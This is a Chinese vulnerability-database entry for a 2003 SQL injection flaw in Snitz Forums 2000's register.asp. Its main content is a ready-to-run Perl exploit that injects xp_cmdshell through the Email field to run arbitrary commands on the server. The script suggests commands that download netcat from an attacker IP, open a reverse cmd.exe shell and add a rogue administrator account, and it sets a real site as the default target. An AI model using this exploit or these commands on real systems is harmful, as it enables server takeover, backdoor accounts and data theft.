Snitz Forums 2000 – ‘register.asp’ SQL Injection
漏洞ID | 1053867 | 漏洞类型 | |
发布时间 | 2003-05-10 | 更新时间 | 2003-05-10 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | ASP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7549/info
Snitz Forums 2000 is ASP-based web forum software. It runs on Microsoft Windows operating systems. Snitz is back-ended by a database and supports Microsoft Access 97/2000, SQL Server 6.5/7.0/2000 and MySQL.
It is possible for a remote attacker to inject SQL into queries made by the register.asp script.
Depending on the database implementation used, this may possibly result in sensitive information information in the database being disclosed or may enable the attacker to modify data. There is also the possibility that this issue may be leveraged to exploit vulnerabilities that may exist in the underlying database.
#!/usr/bin/perl
use Socket;
print "nRemote command execution against Snitz Forums 3.3.03 (and probably others).n";
print "You accept full responsibility for your actions by using this script.n";
print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!n";
print "nWeb server? [www.enterthegame.com]: ";
my $webserver = <STDIN>;
chomp $webserver;
if( $webserver eq "" )
{
$webserver = "www.enterthegame.com";
}
print "nWeb server port? [80]: ";
my $port = <STDIN>;
chomp $port;
if( $port eq "" )
{
$port = 80;
}
print "nAbsolute path to "register.asp"? [/forum/register.asp]: ";
my $path = <STDIN>;
chomp $path;
if( $path eq "" )
{
$path = "/forum/register.asp";
}
print "nCommand to execute non-interactivelyn";
print " Example commands: tftp -i Your.IP.Here GET nc.exen";
print " nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHeren";
print " or: net user h4x0r /add | net localgroup Administrators h4x0r /addn";
print "Your command: ";
my $command = <STDIN>;
chomp $command;
$command =~ s/ /%20/g;
if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef )
{
print "Error connecting to $webservern";
exit( 0 );
}
else
{
my $data1 = $path . "?mode=DoIt";
my $data2 = "Email='%20exec%20master..xp_cmdshell%20'" . $command. "'%20--&Name=snitz";
my $length = length( $data2 );
print FILEHANDLE "POST $data1 HTTP/1.1n";
if( $port == 80 )
{
print FILEHANDLE "Host: $webservern";
}
else
{
print FILEHANDLE "Host: $webserver:$portn";
}
print FILEHANDLE "Accept: */*n";
print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)n";
print FILEHANDLE "Keep-Alive: 300n";
print FILEHANDLE "Referer: http://$webserver$path?mode=Registern";
print FILEHANDLE "Content-Type: application/x-www-form-urlencodedn";
print FILEHANDLE "Content-Length: $lengthnn";
print FILEHANDLE "$data2";
print "nSQL injection command sent. If you are waiting for a shell on your listeningn";
print "netcat, hit "enter" a couple of times to be safe.nn";
close( FILEHANDLE );
}
sub open_TCP
{
my( $FS, $dest, $port ) = @_;
my $proto = getprotobyname( 'tcp' );
socket( $FS, PF_INET, SOCK_STREAM, $proto );
my $sin = sockaddr_in( $port, inet_aton( $dest ));
connect( $FS, $sin ) || return undef;
my $old_fh = select( $FS );
$| = 1;
select( $old_fh );
return 1;
}
SpoonFTP缓冲区溢出漏洞 漏洞ID 1205758 漏洞类型 缓冲区溢出 发布时间 2001-05-30 更新时间 2001-05-30 CVE编号 CVE-2001-0781 CNNVD-ID CNNVD-200105-105 漏洞平台 N/A CVS…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666